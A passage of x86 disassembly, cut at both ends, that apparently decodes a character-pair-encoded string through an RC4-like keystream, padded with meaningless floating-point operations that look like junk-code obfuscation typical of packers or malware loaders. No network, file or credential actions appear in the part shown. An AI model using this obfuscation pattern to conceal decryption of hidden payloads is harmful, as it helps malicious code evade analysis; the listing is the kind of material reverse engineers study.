mov edx, dword [ebp - 0x4c24]
add edx, 1
mov dword [ebp - 0x4c24], edx
cmp dword [ebp - 0x4c24], 0xb
jbe 0x43e138
mov eax, dword [ebp - 0x42a8]
xor edx, edx
div dword [ebp - 0x38c8]
mov dword [ebp - 0x42a8], edx
mov eax, dword [ebp - 0x42a8]
cmp eax, dword [ebp - 0x38c8]
ja 0x43dfb3
mov ecx, dword [ebp - 0x38c8]
cmp ecx, dword [ebp - 0x42a8]
je 0x43e1dd
mov edx, dword [ebp - 0x42a8]
movzx eax, byte [ebp + edx - 0x56a0]
mov ecx, dword [ebp - 0x38c8]
movzx edx, byte [ebp + ecx - 0x56a0]
xor edx, eax
mov eax, dword [ebp - 0x38c8]
mov byte [ebp + eax - 0x56a0], dl
mov ecx, dword [ebp - 0x38c8]
movzx edx, byte [ebp + ecx - 0x56a0]
mov eax, dword [ebp - 0x42a8]
movzx ecx, byte [ebp + eax - 0x56a0]
xor ecx, edx
mov edx, dword [ebp - 0x42a8]
mov byte [ebp + edx - 0x56a0], cl
mov eax, dword [ebp - 0x42a8]
movzx ecx, byte [ebp + eax - 0x56a0]
mov edx, dword [ebp - 0x38c8]
movzx eax, byte [ebp + edx - 0x56a0]
xor eax, ecx
mov ecx, dword [ebp - 0x38c8]
mov byte [ebp + ecx - 0x56a0], al
jmp 0x43df63
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x326d], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x3280], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x32d9], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x3281], al
movzx ecx, byte [ebp - 0x3353]
mov dl, byte [ebp + ecx - 0x56a0]
mov byte [ebp - 0x329d], dl
mov dword [ebp - 0x538c], 0x12
cmp dword [ebp - 0x538c], 2
jle 0x4406b1
mov eax, dword [ebp - 0x538c]
and eax, 1
jne 0x4406b1
mov dword [ebp - 0x337c], 0
mov dword [ebp - 0x356c], 0
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov dword [ebp - 0x38cc], 0
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x38cc], edx
mov dword [ebp - 0x37ec], 0
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38cc]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x37ec]
mov dword [ebp - 0x37ec], ecx
mov dword [ebp - 0x37f0], 0
mov edx, dword [ebp - 0x37f0]
add edx, 0x67
mov dword [ebp - 0x37f0], edx
mov dword [ebp - 0x38d4], 0
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x38d4], ecx
mov dword [ebp - 0x37f4], 0
mov edx, dword [ebp - 0x38d0]
add edx, dword [ebp - 0x38d4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x37f4]
mov dword [ebp - 0x37f4], eax
mov dword [ebp - 0x37f8], 0
mov ecx, dword [ebp - 0x37f8]
add ecx, 0x23
mov dword [ebp - 0x37f8], ecx
mov dword [ebp - 0x37fc], 0
mov edx, dword [ebp - 0x37ec]
sub edx, dword [ebp - 0x37f0]
add edx, dword [ebp - 0x37fc]
mov dword [ebp - 0x37fc], edx
mov dword [ebp - 0x3800], 0
mov eax, dword [ebp - 0x37f4]
sub eax, dword [ebp - 0x37f8]
add eax, dword [ebp - 0x3800]
mov dword [ebp - 0x3800], eax
mov dword [ebp - 0x38d8], 0
movss xmm0, dword [0xa67480]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [0xa673ac]
movss dword [ebp - 0x3c48], xmm0
movss xmm0, dword [0xa6724c]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [0xa670c4]
movss dword [ebp - 0x39ac], xmm0
movss xmm0, dword [ebp - 0x35c4]
mulss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x35c4]
subss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35c4]
addss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x35c4]
comiss xmm0, dword [ebp - 0x39ac]
jbe 0x43e4b4
movss xmm0, dword [ebp - 0x35c4]
subss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x39ac]
mulss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x39ac], xmm0
movss xmm0, dword [ebp - 0x35a4]
mulss xmm0, dword [ebp - 0x35c4]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35c4]
mulss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x35c4], xmm0
mov ecx, dword [ebp - 0x37fc]
shl ecx, 4
mov dword [ebp - 0x38d8], ecx
jmp 0x43e647
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
mulss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3c48]
subss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x3c48], xmm0
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x35c4]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3c48]
addss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x3c48], xmm0
movss xmm0, dword [ebp - 0x35c4]
mulss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x3c48]
comiss xmm0, dword [ebp - 0x39ac]
jbe 0x43e5e7
movss xmm0, dword [ebp - 0x39ac]
divss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x39ac], xmm0
movss xmm0, dword [ebp - 0x35c4]
divss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35c4]
subss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x35c4], xmm0
jmp 0x43e647
movss xmm0, dword [ebp - 0x35c4]
mulss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x35c4], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x35c4]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x39ac]
divss xmm0, dword [ebp - 0x3c48]
movss dword [ebp - 0x39ac], xmm0
movss xmm0, dword [ebp - 0x3c48]
divss xmm0, dword [ebp - 0x39ac]
movss dword [ebp - 0x3c48], xmm0
mov dword [ebp - 0x38dc], 0
mov edx, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], edx
mov dword [ebp - 0x38e0], 0
movss xmm0, dword [0xa67438]
movss dword [ebp - 0x4158], xmm0
movss xmm0, dword [0xa67384]
movss dword [ebp - 0x42ac], xmm0
movss xmm0, dword [0xa67288]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [0xa67174]
movss dword [ebp - 0x4154], xmm0
movss xmm0, dword [0xa67060]
movss dword [ebp - 0x3ee8], xmm0
movss xmm0, dword [ebp - 0x4154]
subss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x4154], xmm0
movss xmm0, dword [ebp - 0x4158]
addss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x4158], xmm0
movss xmm0, dword [ebp - 0x4158]
subss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x4158], xmm0
movss xmm0, dword [ebp - 0x42ac]
subss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x42ac], xmm0
movss xmm0, dword [ebp - 0x42ac]
subss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x42ac], xmm0
movss xmm0, dword [ebp - 0x4154]
comiss xmm0, dword [ebp - 0x4158]
jbe 0x43e7bd
movss xmm0, dword [ebp - 0x43fc]
mulss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [ebp - 0x43fc]
subss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [ebp - 0x42ac]
divss xmm0, dword [ebp - 0x4154]
movss dword [ebp - 0x42ac], xmm0
movss xmm0, dword [ebp - 0x4154]
addss xmm0, dword [ebp - 0x4158]
movss dword [ebp - 0x4154], xmm0
movss xmm0, dword [ebp - 0x4154]
addss xmm0, dword [ebp - 0x4158]
movss dword [ebp - 0x4154], xmm0
jmp 0x43e847
movss xmm0, dword [ebp - 0x3ee8]
mulss xmm0, dword [ebp - 0x42ac]
movss dword [ebp - 0x3ee8], xmm0
movss xmm0, dword [ebp - 0x43fc]
mulss xmm0, dword [ebp - 0x3ee8]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [ebp - 0x3ee8]
mulss xmm0, dword [ebp - 0x42ac]
movss dword [ebp - 0x3ee8], xmm0
movss xmm0, dword [ebp - 0x4154]
subss xmm0, dword [ebp - 0x4158]
movss dword [ebp - 0x4154], xmm0
movss xmm0, dword [ebp - 0x4158]
mulss xmm0, dword [ebp - 0x43fc]
movss dword [ebp - 0x4158], xmm0
mov eax, dword [ebp - 0x38d8]
or eax, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], eax
mov byte [ebp - 0x32da], 0
mov cl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], cl
mov byte [ebp - 0x32d8], 0
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x3280]
add eax, edx
mov byte [ebp - 0x3280], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp - 0x3280]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3281]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
xor ecx, eax
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x329d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp + eax - 0x56a0]
xor ecx, edx
mov byte [ebp - 0x3281], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], al
mov cl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], cl
cmp dword [ebp - 0x337c], 0
jle 0x43e9e0
movsx dx, byte [ebp - 0x3326]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x4e], dx
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x356c]
add edx, 1
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x337c]
shl eax, 1
mov dword [ebp - 0x38cc], eax
mov ecx, dword [ebp - 0x38d0]
add ecx, dword [ebp - 0x38cc]
movzx edx, byte [ecx]
mov dword [ebp - 0x37ec], edx
mov dword [ebp - 0x37f0], 0x67
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x38d4], ecx
mov edx, dword [ebp - 0x38d0]
add edx, dword [ebp - 0x38d4]
movzx eax, byte [edx]
mov dword [ebp - 0x37f4], eax
mov dword [ebp - 0x37f8], 0x23
mov ecx, dword [ebp - 0x37ec]
sub ecx, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], ecx
mov edx, dword [ebp - 0x37f4]
sub edx, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], edx
mov eax, dword [ebp - 0x37fc]
shl eax, 4
mov dword [ebp - 0x38d8], eax
mov ecx, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], ecx
mov edx, dword [ebp - 0x38d8]
or edx, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], edx
mov al, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], al
movzx ecx, byte [ebp - 0x329d]
mov dl, byte [ebp + ecx - 0x56a0]
mov byte [ebp - 0x32d8], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp - 0x3280]
add edx, ecx
mov byte [ebp - 0x3280], dl
mov al, byte [ebp - 0x326d]
add al, 1
mov byte [ebp - 0x326d], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + ecx - 0x56a0]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x3281]
movzx edx, byte [ebp - 0x3280]
mov al, byte [ebp + ecx - 0x56a0]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp - 0x3281]
mov al, byte [ebp + ecx - 0x56a0]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x326d]
mov dl, byte [ebp - 0x32d8]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x32d8]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp - 0x32d9]
add edx, ecx
mov byte [ebp - 0x32d9], dl
movzx eax, byte [ebp - 0x32da]
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx ecx, byte [ebp - 0x326d]
movzx ecx, byte [ebp + ecx - 0x56a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x56a0]
xor eax, edx
movzx ecx, byte [ebp - 0x3281]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx ecx, byte [ebp - 0x329d]
movzx ecx, byte [ebp + ecx - 0x56a0]
add edx, ecx
movzx ecx, byte [ebp - 0x32d9]
movzx ecx, byte [ebp + ecx - 0x56a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp + edx - 0x56a0]
xor eax, ecx
mov byte [ebp - 0x3281], al
mov dl, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], dl
mov al, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], al
cmp dword [ebp - 0x337c], 0
jle 0x43ec37
movsx cx, byte [ebp - 0x3326]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0x4e], cx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x38cc], edx
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38cc]
movzx ecx, byte [eax]
mov dword [ebp - 0x37ec], ecx
mov dword [ebp - 0x37f0], 0x67
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x38d4], eax
mov ecx, dword [ebp - 0x38d0]
add ecx, dword [ebp - 0x38d4]
movzx edx, byte [ecx]
mov dword [ebp - 0x37f4], edx
mov dword [ebp - 0x37f8], 0x23
mov eax, dword [ebp - 0x37ec]
sub eax, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], eax
mov ecx, dword [ebp - 0x37f4]
sub ecx, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], ecx
mov edx, dword [ebp - 0x37fc]
shl edx, 4
mov dword [ebp - 0x38d8], edx
mov eax, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], eax
mov ecx, dword [ebp - 0x38d8]
or ecx, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], ecx
mov dl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], dl
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + eax - 0x56a0]
mov byte [ebp - 0x32d8], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp - 0x3280]
add ecx, eax
mov byte [ebp - 0x3280], cl
mov dl, byte [ebp - 0x326d]
add dl, 1
mov byte [ebp - 0x326d], dl
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp - 0x329d]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x3281]
movzx ecx, byte [ebp - 0x3280]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp - 0x3281]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x326d]
mov cl, byte [ebp - 0x32d8]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x32d8]
movzx eax, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp - 0x32d9]
add ecx, eax
mov byte [ebp - 0x32d9], cl
movzx edx, byte [ebp - 0x32da]
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx eax, byte [ebp - 0x326d]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x56a0]
xor edx, ecx
movzx eax, byte [ebp - 0x3281]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx eax, byte [ebp - 0x329d]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d9]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp + ecx - 0x56a0]
xor edx, eax
mov byte [ebp - 0x3281], dl
mov cl, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], cl
mov dl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], dl
cmp dword [ebp - 0x337c], 0
jle 0x43ee8f
movsx ax, byte [ebp - 0x3326]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0x4e], ax
mov edx, dword [ebp - 0x356c]
add edx, 1
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x4c28], eax
jmp 0x43eebe
mov ecx, dword [ebp - 0x4c28]
add ecx, 1
mov dword [ebp - 0x4c28], ecx
mov edx, dword [ebp - 0x4c28]
cmp edx, dword [ebp - 0x356c]
jge 0x43f39e
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x38cc], ecx
mov edx, dword [ebp - 0x38d0]
add edx, dword [ebp - 0x38cc]
movzx eax, byte [edx]
mov dword [ebp - 0x37ec], eax
mov dword [ebp - 0x37f0], 0x67
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x38d4], edx
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38d4]
movzx ecx, byte [eax]
mov dword [ebp - 0x37f4], ecx
mov dword [ebp - 0x37f8], 0x23
mov edx, dword [ebp - 0x37ec]
sub edx, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], edx
mov eax, dword [ebp - 0x37f4]
sub eax, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], eax
mov ecx, dword [ebp - 0x37fc]
shl ecx, 4
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], edx
mov eax, dword [ebp - 0x38d8]
or eax, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], eax
movss xmm0, dword [0xa6737c]
movss dword [ebp - 0x3c50], xmm0
movss xmm0, dword [0xa67300]
movss dword [ebp - 0x4388], xmm0
movss xmm0, dword [0xa67268]
movss dword [ebp - 0x49c0], xmm0
movss xmm0, dword [0xa671bc]
movss dword [ebp - 0x44fc], xmm0
movss xmm0, dword [0xa67120]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [0xa67080]
movss dword [ebp - 0x4160], xmm0
movss xmm0, dword [0xa66fd8]
movss dword [ebp - 0x3c4c], xmm0
movss xmm0, dword [ebp - 0x3c50]
addss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x3c50], xmm0
movss xmm0, dword [ebp - 0x3c50]
addss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x3c50], xmm0
movss xmm0, dword [ebp - 0x4388]
subss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x4388], xmm0
movss xmm0, dword [ebp - 0x4388]
subss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x4388], xmm0
movss xmm0, dword [ebp - 0x4388]
subss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x4388], xmm0
movss xmm0, dword [ebp - 0x415c]
mulss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x49c0]
subss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x49c0], xmm0
movss xmm0, dword [ebp - 0x415c]
comiss xmm0, dword [ebp - 0x3c4c]
jbe 0x43f172
movss xmm0, dword [ebp - 0x4160]
subss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x4160], xmm0
movss xmm0, dword [ebp - 0x415c]
addss xmm0, dword [ebp - 0x4160]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x415c]
addss xmm0, dword [ebp - 0x4160]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x3c4c]
addss xmm0, dword [ebp - 0x3c50]
movss dword [ebp - 0x3c4c], xmm0
movss xmm0, dword [ebp - 0x3c4c]
addss xmm0, dword [ebp - 0x3c50]
movss dword [ebp - 0x3c4c], xmm0
movss xmm0, dword [ebp - 0x44fc]
addss xmm0, dword [ebp - 0x415c]
movss dword [ebp - 0x44fc], xmm0
movss xmm0, dword [ebp - 0x3c50]
mulss xmm0, dword [ebp - 0x4388]
movss dword [ebp - 0x3c50], xmm0
mov cl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], cl
jmp 0x43f21a
movss xmm0, dword [ebp - 0x3c50]
mulss xmm0, dword [ebp - 0x49c0]
movss dword [ebp - 0x3c50], xmm0
movss xmm0, dword [ebp - 0x4160]
subss xmm0, dword [ebp - 0x3c50]
movss dword [ebp - 0x4160], xmm0
movss xmm0, dword [ebp - 0x415c]
mulss xmm0, dword [ebp - 0x3c4c]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x3c50]
mulss xmm0, dword [ebp - 0x49c0]
movss dword [ebp - 0x3c50], xmm0
movss xmm0, dword [ebp - 0x4160]
mulss xmm0, dword [ebp - 0x3c50]
movss dword [ebp - 0x4160], xmm0
movss xmm0, dword [ebp - 0x44fc]
divss xmm0, dword [ebp - 0x4160]
movss dword [ebp - 0x44fc], xmm0
movss xmm0, dword [ebp - 0x44fc]
mulss xmm0, dword [ebp - 0x4160]
movss dword [ebp - 0x44fc], xmm0
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x3280]
add eax, edx
mov byte [ebp - 0x3280], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp - 0x3280]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3281]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
xor ecx, eax
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x329d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp + eax - 0x56a0]
xor ecx, edx
mov byte [ebp - 0x3281], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], al
mov cl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], cl
cmp dword [ebp - 0x337c], 0
jle 0x43f399
movsx dx, byte [ebp - 0x3326]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x4e], dx
jmp 0x43eeaf
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x356c]
add eax, 1
mov dword [ebp - 0x356c], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x38cc], ecx
mov edx, dword [ebp - 0x38d0]
add edx, dword [ebp - 0x38cc]
movzx eax, byte [edx]
mov dword [ebp - 0x37ec], eax
mov dword [ebp - 0x37f0], 0x67
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x38d4], edx
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38d4]
movzx ecx, byte [eax]
mov dword [ebp - 0x37f4], ecx
mov dword [ebp - 0x37f8], 0x23
mov edx, dword [ebp - 0x37ec]
sub edx, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], edx
mov eax, dword [ebp - 0x37f4]
sub eax, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], eax
mov ecx, dword [ebp - 0x37fc]
shl ecx, 4
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], edx
mov eax, dword [ebp - 0x38d8]
or eax, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], eax
mov cl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], cl
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x3280]
add eax, edx
mov byte [ebp - 0x3280], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp - 0x3280]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3281]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
